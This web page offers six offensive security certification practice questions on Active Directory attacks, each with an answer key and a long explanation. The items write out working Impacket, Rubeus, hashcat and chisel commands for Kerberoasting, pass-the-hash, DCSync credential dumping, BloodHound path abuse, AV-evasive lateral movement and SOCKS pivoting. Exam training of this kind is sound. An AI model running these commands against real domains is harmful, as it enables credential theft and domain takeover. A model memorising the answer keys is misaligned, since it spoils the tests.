Free Offensive Security Active Directory Attacks and Lateral Movement Practice Test 2026

Master Active Directory Attacks and Lateral Movement with free offensive security practice questions covering attacking Active Directory with Kerberoasting, pass-the-hash, BloodHound, and lateral movement across domains. Each question includes a detailed explanation — no signup required. This domain accounts for 12% of the mock exam and maps to skills tested across eJPT, OSCP, PNPT, OSWE, and OSEP.

Key Active Directory Attacks and Lateral Movement Topics

Free Active Directory Attacks and Lateral Movement Sample Questions with Answers

Each question below includes 4 answer options, the correct answer, and a detailed explanation from the FlashGenius Offensive Security question bank.

Sample Question 1 — Active Directory Attacks & Lateral Movement

You have a low-privileged shell on a Windows Server 2019 member server in an Active Directory domain `corp.local`. You’ve uploaded the Impacket toolkit and obtained the following credentials from a local config file: - Username: `svc_webapp` - Password: `Summer2024!` - Domain: `corp.local` From your foothold, you run: ```bash python3 GetUserSPNs.py corp.local/svc_webapp:'Summer2024!' -dc-ip 10.0.0.10 -request ``` The tool returns: ```text ServicePrincipalName Name MemberOf PasswordLastSet LastLogon ---------------------------------- ------------ -------- ----------------- ----------------- MSSQLSvc/sql01.corp.local:1433 sql_svc ... 2024-01-10 12:33:00 2024-05-01 09:21:10 $krb5tgs$23$*sql_svc$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$b5f8...<snip>...c1a Kerberoast complete! ``` You crack the TGS hash offline and recover: - `sql_svc` / `P@ssw0rd123!` You confirm that `sql_svc` is a domain user and a local administrator on `sql01.corp.local`. Your goal is to move laterally and obtain a full interactive shell on `sql01` without triggering obvious AV signatures. Which of the following is the MOST appropriate next step, assuming you are operating from a Kali box and want to leverage the cracked credentials for lateral movement?

  1. A. Use Impacket’s `psexec.py` with the cracked credentials to obtain a SYSTEM shell on `sql01.corp.local`: ```bash python3 psexec.py corp.local/sql_svc:'P@ssw0rd123!'@sql01.corp.local ```
  2. B. Use Impacket’s `wmiexec.py` with the cracked credentials to obtain a semi-interactive shell on `sql01.corp.local`: ```bash python3 wmiexec.py corp.local/sql_svc:'P@ssw0rd123!'@sql01.corp.local ``` (Correct answer)
  3. C. Use `GetNPUsers.py` with the cracked credentials to request AS-REP roastable hashes for `sql_svc` and then crack them offline: ```bash python3 GetNPUsers.py corp.local/sql_svc:'P@ssw0rd123!' -dc-ip 10.0.0.10 -request ```
  4. D. Use `secretsdump.py` with the cracked credentials directly against the domain controller to perform a DCSync attack: ```bash python3 secretsdump.py corp.local/sql_svc:'P@ssw0rd123!'@10.0.0.10 ```

Correct answer: B

Explanation: The scenario describes a classic Kerberoasting → credential cracking → lateral movement chain. You have: - Valid domain user creds: `sql_svc` / `P@ssw0rd123!` - `sql_svc` is a local admin on `sql01.corp.local` - You want to move laterally with minimal AV noise from a Kali host. ### Why B is correct `wmiexec.py` is often preferred over `psexec.py` in modern environments because: - It does **not** drop a service binary on disk (unlike `psexec.py`), reducing AV/EDR detections. - It provides a **semi-interactive shell** over WMI using only built-in Windows components. - It leverages the fact that `sql_svc` is a **local administrator** on `sql01`, which is sufficient for remote WMI execution. Command: ```bash python3 wmiexec.py corp.local/sql_svc:'P@ssw0rd123!'@sql01.corp.local ``` This will give you a shell-like interface where commands are executed remotely under the context of `sql_svc` (often with local admin privileges, effectively enabling privesc to SYSTEM via further techniques if needed). This is a realistic, lower-noise lateral movement step after Kerberoasting and cracking a service account that is a local admin on a target host. ### Why the other options are wrong **A: `psexec.py` to get SYSTEM shell** - `psexec.py` is more intrusive: - It uploads a service binary (`RemComSvc`-style) and creates a Windows service. - This behavior is heavily signatured by AV/EDR and is often blocked in modern environments. - While it would likely work technically (local admin creds are enough), the question explicitly asks for a method that avoids **obvious AV signatures**. - In exam/pentest reasoning, `wmiexec.py` is generally the more OPSEC-friendly choice than `psexec.py`. **C: `GetNPUsers.py` for AS-REP roasting `sql_svc`** - AS-REP Roasting targets **accounts that do not require pre-authentication** (`DONT_REQ_PREAUTH` set), usually service or user accounts with that flag. - You already have the **plaintext password** for `sql_svc`; there is no value in trying to AS-REP roast it. - `GetNPUsers.py` is used for **initial credential acquisition**, not for lateral movement once you already have valid creds. - This does not move you closer to an interactive shell on `sql01`. **D: `secretsdump.py` DCSync directly against the DC** - DCSync requires the account to have **replication privileges**, typically: - `Domain Admins`, `Enterprise Admins`, or - `Domain Controllers` group, or - An account explicitly granted `Replicating Directory Changes` rights. - `sql_svc` is described only as a **domain user** and **local admin on sql01**. There is no indication it has domain replication rights. - Attempting DCSync with a non-privileged account will fail and is noisy. - Even if it worked, it’s not the *next logical step* for lateral movement to `sql01`; it’s a domain compromise step. ### Key Takeaway - Kerberoasting → crack service account → use cracked creds for **lateral movement** via WMI/SMB/WinRM. - For lower-AV-noise lateral movement from Kali with Impacket, `wmiexec.py` (B) is the most appropriate choice here.

Sample Question 2 — Active Directory Attacks & Lateral Movement

During an internal penetration test, you compromise a Windows 10 workstation `WS-07` as a local admin. You run `mimikatz` and extract the following domain credentials from LSASS: ```text Username : backup_svc Domain : CORP SID : S-1-5-21-1111111111-2222222222-3333333333-1105 Password : (null) NTLM : 9f9d51bc70ef21ca5c14f307980a29d8 Username : alice Domain : CORP SID : S-1-5-21-1111111111-2222222222-3333333333-1103 Password : P@ssw0rd! NTLM : 1f3870be274f6c49b3e31a0c6728957f Username : WS-07$ (machine account) Domain : CORP SID : S-1-5-21-1111111111-2222222222-3333333333-1234 Password : (null) NTLM : 5d41402abc4b2a76b9719d911017c592 ``` You perform some quick checks from `WS-07`: ```powershell # Check group membership of backup_svc net user backup_svc /domain # Output (excerpt) Global Group memberships *Domain Users *Backup Operators *Server Operators # Check access to DC Test-Connection -ComputerName DC01.corp.local -Count 1 # Output Source Destination IPV4Address IPV6Address Bytes Time(ms) ------ ----------- ---------- ---------- ----- -------- WS-07 DC01 10.0.0.10 32 1 ``` Your goal is to dump all domain password hashes from the domain controller `DC01.corp.local` **without** executing any code on the DC itself. You are operating from a Kali Linux attack box with Impacket installed and you have the NTLM hash of `backup_svc`. Which of the following is the MOST appropriate technique and command to achieve your goal?

  1. A. Perform a Pass-the-Hash login to `DC01` using `psexec.py` and then run `mimikatz` on the DC to dump hashes: ```bash python3 psexec.py CORP/backup_svc@DC01.corp.local -hashes :9f9d51bc70ef21ca5c14f307980a29d8 ```
  2. B. Use Impacket’s `secretsdump.py` with the `-just-dc` option and the NTLM hash of `backup_svc` to perform a DCSync-style dump from Kali: ```bash python3 secretsdump.py CORP/backup_svc@DC01.corp.local -hashes :9f9d51bc70ef21ca5c14f307980a29d8 -just-dc ``` (Correct answer)
  3. C. Use `GetNPUsers.py` with the NTLM hash of `backup_svc` to request AS-REP roastable hashes for all domain users and crack them offline: ```bash python3 GetNPUsers.py CORP/backup_svc@DC01.corp.local -hashes :9f9d51bc70ef21ca5c14f307980a29d8 -request ```
  4. D. Use `wmiexec.py` with the NTLM hash of `backup_svc` to run `ntdsutil` on `DC01` and copy `ntds.dit` to a share you control: ```bash python3 wmiexec.py CORP/backup_svc@DC01.corp.local -hashes :9f9d51bc70ef21ca5c14f307980a29d8 ```

Correct answer: B

Explanation: The objective is: - Dump **all domain password hashes** from `DC01`. - **Without executing code on the DC itself** (no dropping binaries, no interactive tools like mimikatz on the DC). - You have: - NTLM hash of `backup_svc`. - `backup_svc` is in `Backup Operators` and `Server Operators` groups. In many real-world and exam-style scenarios, accounts in `Backup Operators` / `Server Operators` are misconfigured to have **replication-like privileges** or can be abused to perform **DCSync** (or at least backup/restore operations that lead to credential extraction). The question is testing your knowledge of **DCSync via Impacket** from an off-DC host. ### Why B is correct `secretsdump.py` supports multiple techniques to extract credentials, including: - Local `SAM`/`SECURITY`/`SYSTEM` hive parsing. - Remote registry + `ntds.dit` extraction. - **DCSync** (via `-just-dc` / `-just-dc-ntlm`), which uses the same replication APIs as a domain controller. Command: ```bash python3 secretsdump.py CORP/backup_svc@DC01.corp.local -hashes :9f9d51bc70ef21ca5c14f307980a29d8 -just-dc ``` Key points: - `-hashes :<NTLM>` enables **Pass-the-Hash** authentication. - `-just-dc` tells `secretsdump.py` to perform a **DCSync-style dump** of domain credentials via the Directory Replication Service Remote Protocol. - No custom binaries are executed on `DC01`; it’s all done via standard AD replication RPC calls from Kali. - This matches the requirement: dump all domain hashes **without executing code on the DC**. In many exam scenarios, `Backup Operators`/`Server Operators` are intentionally misconfigured to allow this, and the test is whether you recognize that you can use `secretsdump.py` with the hash to DCSync. ### Why the other options are wrong **A: `psexec.py` + mimikatz on DC** - `psexec.py` will: - Upload a service binary to `DC01`. - Create and start a Windows service. - Running `mimikatz` on the DC is explicitly **executing code on the DC**, which violates the constraint in the question. - While technically viable in some environments, it is **not** the correct answer given the requirement to avoid code execution on the DC. **C: `GetNPUsers.py` for AS-REP roasting** - `GetNPUsers.py` is used to request **AS-REP roastable** hashes for accounts with `DONT_REQ_PREAUTH` set. - This does **not** dump all domain password hashes; it only gets hashes for specific misconfigured accounts. - It’s an **initial access / credential harvesting** technique, not a full domain hash dump. - Also, using `-hashes` with `GetNPUsers.py` is not the standard pattern; typically you use a password or no auth at all. - This does not meet the stated goal. **D: `wmiexec.py` + `ntdsutil` on DC** - `wmiexec.py` will execute commands on `DC01` using WMI. - Running `ntdsutil` on the DC is **executing code/commands on the DC**, again violating the requirement. - Even if you used `ntdsutil` to copy `ntds.dit` to a share, you are still: - Executing commands on the DC. - Likely generating more noise and complexity than necessary. ### Key Takeaway - When you have an account with replication/backup-like privileges and want to dump domain hashes **remotely** and **without dropping binaries on the DC**, use **DCSync via Impacket’s `secretsdump.py`** with `-just-dc` and Pass-the-Hash. - That is exactly what option **B** does.

Sample Question 3 — Active Directory Attacks & Lateral Movement

You have a low-privilege shell on a Windows Server 2019 member server in the domain CORP.LOCAL as user `svc_webapp`. You run the following commands: ```powershell PS C:\Users\svc_webapp> whoami corp\svc_webapp PS C:\Users\svc_webapp> setspn -Q */* CN=SQL01,OU=Servers,DC=corp,DC=local MSSQLSvc/sql01.corp.local:1433 MSSQLSvc/sql01.corp.local CN=APP01,OU=Servers,DC=corp,DC=local HTTP/app01.corp.local PS C:\Users\svc_webapp> Get-ADUser svc_webapp -Properties ServicePrincipalName DistinguishedName : CN=svc_webapp,OU=Service Accounts,DC=corp,DC=local Enabled : True SamAccountName : svc_webapp ServicePrincipalName : {HTTP/intranet.corp.local} PS C:\Users\svc_webapp> whoami /groups | findstr /i "domain admins" # (no output) ``` You want to perform Kerberoasting from this host to obtain crackable Kerberos service tickets. Which of the following is the MOST appropriate next step to maximize your chances of obtaining a high-value hash while minimizing noise?

  1. A. Use `rubeus.exe asreproast` to request AS-REP hashes for `svc_webapp` and `sql01$`, then crack them offline.
  2. B. Use `rubeus.exe kerberoast /user:svc_webapp /nowrap /format:hashcat` to request a TGS for the HTTP SPN on your own account and crack it offline.
  3. C. Use `rubeus.exe kerberoast /ldapfilter:"(servicePrincipalName=MSSQLSvc/*)" /nowrap /format:hashcat` to request TGS tickets for MSSQL service accounts and crack them offline. (Correct answer)
  4. D. Use `impacket-secretsdump corp/svc_webapp@dc01.corp.local -just-dc` to dump all domain hashes and then crack the SQL service account password.

Correct answer: C

Explanation: The goal is to perform a realistic Kerberoast from a low-privileged domain user, targeting likely high-value service accounts, while avoiding noisy or obviously privileged actions. Why C is correct: - Kerberoasting abuses the fact that any authenticated domain user can request a TGS for any SPN-enabled service account and then attempt to crack the ticket offline. - MSSQL service accounts (`MSSQLSvc/...`) are commonly configured with static, often weak or reused passwords and frequently have elevated privileges (e.g., local admin on DB servers, sometimes domain privileges). - The command in C: ```powershell rubeus.exe kerberoast /ldapfilter:"(servicePrincipalName=MSSQLSvc/*)" /nowrap /format:hashcat ``` does the following: - `/ldapfilter:"(servicePrincipalName=MSSQLSvc/*)"` queries LDAP for all accounts with MSSQL SPNs, focusing on high-value targets rather than roasting everything. - `/nowrap` outputs the hash on a single line, suitable for cracking tools. - `/format:hashcat` formats the hash for direct use with hashcat (e.g., mode 13100 for Kerberos 5 TGS-REP etype 23). - This is low-noise (a single LDAP query + TGS requests) and targets likely privileged service accounts (`SQL01`), matching real-world Kerberoasting best practices. Why the other options are wrong: A: `rubeus.exe asreproast` for `svc_webapp` and `sql01$` - AS-REP Roasting targets accounts with `Do not require Kerberos preauthentication` set. - There is no indication that `svc_webapp` or `sql01$` have pre-auth disabled. - `sql01$` is a computer account; AS-REP Roasting is typically not useful against machine accounts (and they almost never have pre-auth disabled). - Even if it worked, this is not Kerberoasting; it’s a different attack (AS-REP Roasting) and not what the question asks for. B: Kerberoast your own account’s HTTP SPN - Command: ```powershell rubeus.exe kerberoast /user:svc_webapp /nowrap /format:hashcat ``` would request a TGS for the SPN on `svc_webapp` itself (`HTTP/intranet.corp.local`). - Roasting your own account is pointless: you already have the password (or at least the access token) for `svc_webapp`. - HTTP service accounts are often low-privilege app pool identities, not necessarily high-value. - This does not maximize value; it wastes time and provides no escalation path. D: `impacket-secretsdump ... -just-dc` - `-just-dc` performs a DCSync-style attack, which requires high privileges (e.g., `Replicating Directory Changes All` on the domain, typically Domain Admin or equivalent). - `svc_webapp` is a low-privilege user with no Domain Admin group membership (`whoami /groups` shows nothing relevant), so this will fail. - Attempting DCSync from a low-priv user is both noisy and unrealistic in a real exam/pentest context. - This is not Kerberoasting; it’s a domain replication hash dump. Relevant technique summary: - Kerberoasting steps: 1. Enumerate SPNs (e.g., `setspn -Q */*` or LDAP queries). 2. Select likely high-value service accounts (SQL, Exchange, custom app services). 3. Request TGS tickets for those SPNs using tools like Rubeus, Impacket’s `GetUserSPNs.py`, or PowerView. 4. Export hashes in a cracking-friendly format (`/format:hashcat`, `/nowrap`). 5. Crack offline with hashcat or John. - Option C implements this correctly and strategically.

Sample Question 4 — Active Directory Attacks & Lateral Movement

During an internal penetration test, you compromise a Windows 10 workstation `WS01` as `CORP\\jdoe` (a regular domain user). You run SharpHound and upload the collected data to BloodHound. BloodHound shows the following shortest path to `DOMAIN ADMINS`: `CORP\\jdoe` → MemberOf → `CORP\\Helpdesk` → GenericAll → `CORP\\SRV-FILE01` (Computer) → HasSession → `CORP\\backup_svc` → MemberOf → `CORP\\Domain Admins` Additional information: - `CORP\\Helpdesk` is a domain group; `jdoe` is a member. - `CORP\\Helpdesk` has `GenericAll` on the computer object `SRV-FILE01`. - `backup_svc` is a domain user that frequently has an active session on `SRV-FILE01`. - You have local admin rights on `WS01` only. You want to follow this BloodHound path to escalate to Domain Admin with minimal noise and without directly attacking the DC. What is the MOST appropriate next step in this chain?

  1. A. Use `secretsdump.py` from `WS01` against `SRV-FILE01` with `-just-dc-user backup_svc` to dump the NTLM hash of `backup_svc` and perform Pass-the-Hash.
  2. B. Use `PowerView` or `SharpHound` to modify the `servicePrincipalName` of `SRV-FILE01` to a fake SPN, then Kerberoast `SRV-FILE01$` to obtain a crackable hash.
  3. C. Use `PowerView` or `PowerShell` with your `GenericAll` rights to add a new local admin user to `SRV-FILE01`, then use that account to RDP into `SRV-FILE01` and extract `backup_svc`’s token or credentials. (Correct answer)
  4. D. Use `Rubeus.exe` from `WS01` to perform a DCSync attack as `jdoe`, since `GenericAll` on `SRV-FILE01` implies replication rights on the domain.

Correct answer: C

Explanation: The BloodHound path indicates an attack chain based on ACL abuse on a computer object and session hijacking, not direct DC compromise. Path breakdown: - `jdoe` ∈ `Helpdesk`. - `Helpdesk` has `GenericAll` on `SRV-FILE01` (the computer object in AD, not the OS itself). - `backup_svc` (a Domain Admin) often has a session on `SRV-FILE01`. - Goal: leverage `GenericAll` on `SRV-FILE01` to gain local admin or code execution on that host, then steal `backup_svc`’s credentials or token and escalate to Domain Admin. Why C is correct: - `GenericAll` on a computer object in AD means you can modify attributes of that computer object, including: - Resetting the machine account password. - Adding yourself to the local Administrators group (via GPO or LAPS abuse in some cases). - Modifying `msDS-AllowedToActOnBehalfOfOtherIdentity` (RBCD) for advanced attacks. - A practical, exam-grade approach: 1. Use PowerView or AD cmdlets to abuse `GenericAll` to grant yourself local admin on `SRV-FILE01`. Example (PowerView-style, conceptually): ```powershell # Add CORP\Helpdesk (or a controlled user) to local Administrators on SRV-FILE01 # via GPO or direct local group modification if you can push a script/command. ``` 2. Once you have local admin on `SRV-FILE01`, RDP or otherwise get an interactive session. 3. Use tools like Mimikatz, `Invoke-Mimikatz`, or token impersonation to steal `backup_svc`’s token/credentials from its active session. 4. With `backup_svc` (Domain Admin), you can then perform DA-level actions. - Option C captures this logic: use `GenericAll` to create/modify a local admin user on `SRV-FILE01`, log in, then extract `backup_svc`’s token/creds. Why the other options are wrong: A: `secretsdump.py ... -just-dc-user backup_svc` - `secretsdump.py` with `-just-dc-user` performs a DCSync-like operation against the DC, not against a member server. - Running it “against `SRV-FILE01`” is conceptually wrong; DCSync targets the DC’s `lsass`/NTDS via replication APIs, not a random file server. - `jdoe` has no replication rights; `GenericAll` on a computer object does NOT grant DCSync privileges. - This will fail and is noisy. B: Modify SPN of `SRV-FILE01` and Kerberoast `SRV-FILE01$` - Kerberoasting machine accounts (`SRV-FILE01$`) is usually low value; machine account passwords are long and random by default. - Changing the SPN of a production server is noisy and can break services. - Even if you roast `SRV-FILE01$`, cracking that hash is impractical and does not directly lead to `backup_svc` or Domain Admin. - This does not follow the BloodHound path (which is about session hijacking, not SPN abuse). D: DCSync as `jdoe` using `Rubeus.exe` - `GenericAll` on a computer object does NOT imply any domain replication rights. - DCSync requires `Replicating Directory Changes` + `Replicating Directory Changes All` (and often `Replicating Directory Changes In Filtered Set`) on the domain root, typically held by Domain Admins, Enterprise Admins, or specific replication accounts. - `jdoe` is a regular user; `Helpdesk` has only `GenericAll` on `SRV-FILE01` (a single computer object), not on the domain. - Attempting DCSync as `jdoe` will fail and is noisy. Relevant technique summary: - BloodHound path interpretation is critical: - `GenericAll` on a computer object → you can control that computer (via RBCD, machine password reset, or local admin group manipulation). - `HasSession` → a high-priv user is logged in; once you control the host, you can steal their token/creds. - A realistic chain: 1. Abuse `GenericAll` on `SRV-FILE01` to gain local admin. 2. Log into `SRV-FILE01`. 3. Dump/impersonate `backup_svc`. 4. Use `backup_svc` (Domain Admin) for further actions. - Option C aligns with this chain and is the most appropriate next step.

Sample Question 5 — Active Directory Attacks & Lateral Movement

You have compromised a Windows Server 2016 host `APP01` in the `INT.LOCAL` forest as `INT\\web_svc`. From `APP01`, you discover that it can reach the domain controller `DC01.INT.LOCAL` over SMB and RPC, but your attacking Kali box cannot directly reach any internal hosts due to firewall restrictions. You run the following from Kali: ```bash $ proxychains -q crackmapexec smb 10.10.20.10 -u web_svc -p 'Summer2024!' --shares [proxychains] ... SMB 10.10.20.10 445 APP01 [*] Windows Server 2016 Standard 14393 x64 (name:APP01) (domain:INT) (signing:True) (SMBv1:False) SMB 10.10.20.10 445 APP01 [+] INT\\web_svc:Summer2024! (Pwn3d!) ``` You upload `chisel.exe` to `APP01` and want to enumerate and attack `DC01` and other internal systems from Kali, including running tools like `BloodHound` (SharpHound collector), `smbclient`, and `impacket-GetUserSPNs.py`. You want a flexible setup that supports multiple TCP connections and tools without reconfiguring each tool individually. Which of the following is the BEST approach to establish a pivot and perform lateral movement in this scenario?

  1. A. On Kali, run `chisel server -p 8000 --reverse`, and on APP01 run `chisel client kali_ip:8000 R:445:dc01.int.local:445`, then run `smbclient` and `BloodHound` directly against `127.0.0.1:445` on Kali.
  2. B. On APP01, run `chisel server -p 1080 --socks5`, and on Kali configure `proxychains` to use `socks5 10.10.20.10 1080`, then run tools like `BloodHound`, `smbclient`, and `impacket-GetUserSPNs.py` through `proxychains`. (Correct answer)
  3. C. On Kali, run `ssh -L 445:dc01.int.local:445 web_svc@10.10.20.10`, then run `smbclient` and `impacket-GetUserSPNs.py` against `127.0.0.1:445` on Kali.
  4. D. On APP01, run `chisel client kali_ip:8000 R:socks`, and on Kali run `chisel server -p 8000 --reverse`, then configure `proxychains` to use `socks4 127.0.0.1 1080` for all tools.

Correct answer: B

Explanation: You need a flexible pivot that: - Works from an internal host (`APP01`) that can reach `DC01` and other internal systems. - Allows many different tools (BloodHound collector, Impacket, smbclient, etc.) to work without per-tool tunnel configuration. - Supports multiple concurrent TCP connections. Why B is correct: - Running a SOCKS proxy on the compromised host and using `proxychains` on Kali is a standard, modern pivoting pattern. - Command in B: - On `APP01` (compromised host): ```powershell chisel.exe server -p 1080 --socks5 ``` This starts a SOCKS5 proxy on `APP01:1080`. - On Kali, configure `/etc/proxychains.conf`: ``` socks5 10.10.20.10 1080 ``` - Then run tools through `proxychains`: ```bash proxychains -q bloodhound-python -d INT.LOCAL -u web_svc -p 'Summer2024!' -c All -ns dc01.int.local proxychains -q smbclient -L //dc01.int.local/ -U INT/web_svc%'Summer2024!' proxychains -q impacket-GetUserSPNs.py INT.LOCAL/web_svc:'Summer2024!' -dc-ip dc01.int.local -request ``` - This approach: - Requires no per-tool port forwarding. - Supports arbitrary TCP connections from Kali to internal hosts via `APP01`. - Is realistic and commonly used in OSCP/PNPT/OSEP-style exams. Why the other options are wrong or suboptimal: A: Reverse port forward only for 445 - Command: ```bash # On Kali chisel server -p 8000 --reverse # On APP01 chisel.exe client kali_ip:8000 R:445:dc01.int.local:445 ``` - This exposes only port 445 of `dc01.int.local` to `127.0.0.1:445` on Kali. - You could use `smbclient` against `127.0.0.1:445`, but: - It does not help with LDAP, Kerberos, HTTP, or other ports needed by tools like BloodHound collectors or Impacket modules. - You’d need additional forwards for each port and host, which is cumbersome. - This is too narrow for the stated goal of flexible enumeration and lateral movement. C: SSH local port forwarding - Command: ```bash ssh -L 445:dc01.int.local:445 web_svc@10.10.20.10 ``` - Problems: - There is no indication that `APP01` is running SSH or that `web_svc` has SSH access. - Even if SSH were available, this only forwards port 445 to `dc01.int.local`. - You still lack a general-purpose pivot for other ports (LDAP 389/636, Kerberos 88, HTTP 80/443, etc.). - This is not as flexible or realistic as a SOCKS-based pivot for a Windows internal host. D: Misuse of chisel reverse socks - `chisel client kali_ip:8000 R:socks` is not valid syntax; chisel’s reverse SOCKS usage is different. - Even if you set up reverse SOCKS correctly, the described configuration is inconsistent: - It suggests using `socks4 127.0.0.1 1080` without actually binding a SOCKS proxy on `127.0.0.1:1080` on Kali. - The direction of the SOCKS proxy is unclear; typically, you want the SOCKS server on the internal host, not on Kali, when Kali cannot reach internal hosts directly. - The option is syntactically and conceptually flawed. Relevant technique summary: - For internal AD enumeration and lateral movement when only an internal host is reachable: 1. Deploy a SOCKS proxy on the compromised internal host (e.g., `chisel server --socks5`, `ligolo-ng`, `socat`-based setups). 2. Configure `proxychains` (or similar) on Kali to use that SOCKS proxy. 3. Run tools like `BloodHound` collectors, Impacket scripts, `smbclient`, `ldapsearch`, etc., transparently through the proxy. - Option B implements this pattern correctly and is the best choice.

Sample Question 6 — Active Directory Attacks & Lateral Movement

You have a foothold as a low-privileged domain user `websvc@corp.local` on a Windows Server 2019 member server. You run the following command using Impacket’s `GetUserSPNs.py` from your Kali box: `python3 GetUserSPNs.py corp.local/websvc:'Summer2024!' -dc-ip 10.10.10.5 -request` Output (truncated): ``` ServicePrincipalName Name MemberOf PasswordLastSet LastLogon -------------------------- ------------- -------- ----------------- ----------------- MSSQLSvc/sql01.corp.local sqlsvc CN=SQL,... 2023-11-01 09:12:00 2024-12-10 21:01:33 $krb5tgs$23$*sqlsvc$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$b3c0...<snip>...f9 ``` What is the most appropriate next step to attempt lateral movement using this finding?

  1. A. Use `secretsdump.py` with the TGS hash to perform a DCSync attack and dump all domain password hashes.
  2. B. Crack the `$krb5tgs$23$` hash offline with a wordlist (e.g., `hashcat -m 13100`) to recover `sqlsvc`’s password, then attempt RDP/WinRM/SQL login to `sql01.corp.local`. (Correct answer)
  3. C. Use `psexec.py` directly with the `$krb5tgs$23$` hash as if it were an NTLM hash to get a SYSTEM shell on `sql01.corp.local`.
  4. D. Use `GetNPUsers.py` against `sqlsvc` with `-request` to obtain an AS-REP hash and crack it for lateral movement.

Correct answer: B

Explanation: The output of `GetUserSPNs.py` with `-request` shows a TGS ticket in `$krb5tgs$23$` format for the SPN account `sqlsvc`. This is a classic Kerberoasting scenario. Why B is correct: - Kerberoasting obtains service tickets (TGS) for accounts with SPNs, which can be cracked offline to recover the service account password. - The hash format `$krb5tgs$23$` corresponds to Kerberos RC4-HMAC TGS hashes, which in hashcat use mode 13100. - Command example: - `hashcat -m 13100 -a 0 tgs_hashes.txt /usr/share/wordlists/rockyou.txt` - Once the password for `sqlsvc` is recovered, you can attempt lateral movement by authenticating to services where `sqlsvc` is used (e.g., MSSQL on `sql01`, RDP/WinRM if allowed, or using `mssqlclient.py` / `evil-winrm` with those credentials). Why A is wrong: - `secretsdump.py` DCSync requires either: - Domain admin–equivalent privileges, or - An account with `Replicating Directory Changes` rights. - A TGS hash from Kerberoasting is not a credential you can feed into `secretsdump.py` for DCSync; DCSync uses LDAP/DRS and NTLM/Kerberos authentication with actual account credentials or NTLM hashes, not TGS roast hashes. Why C is wrong: - `psexec.py` supports NTLM hashes (Pass-the-Hash) using the `-hashes LMHASH:NTHASH` syntax. - A `$krb5tgs$23$` hash is *not* an NTLM hash; it’s a Kerberos TGS hash and cannot be used directly for PtH. - You must first crack the TGS hash to obtain the cleartext password, then use that password (or its NTLM hash) with `psexec.py`. Why D is wrong: - `GetNPUsers.py` is used for AS-REP Roasting (accounts with `Do not require Kerberos preauthentication` set). - `sqlsvc` was already identified via SPN and roasted via TGS (`GetUserSPNs.py`), not via AS-REP. - There is no indication that `sqlsvc` has pre-auth disabled; attempting AS-REP roasting here is redundant and not the logical next step. Thus, the correct chain is: Kerberoast → crack TGS hash → use recovered credentials for lateral movement to `sql01.corp.local`.

Offensive Security Prep Pack Overview

Other Offensive Security Domains

Start the free offensive security Active Directory Attacks and Lateral Movement practice test now | 10-question quick start | All offensive security domains | All Sample Tests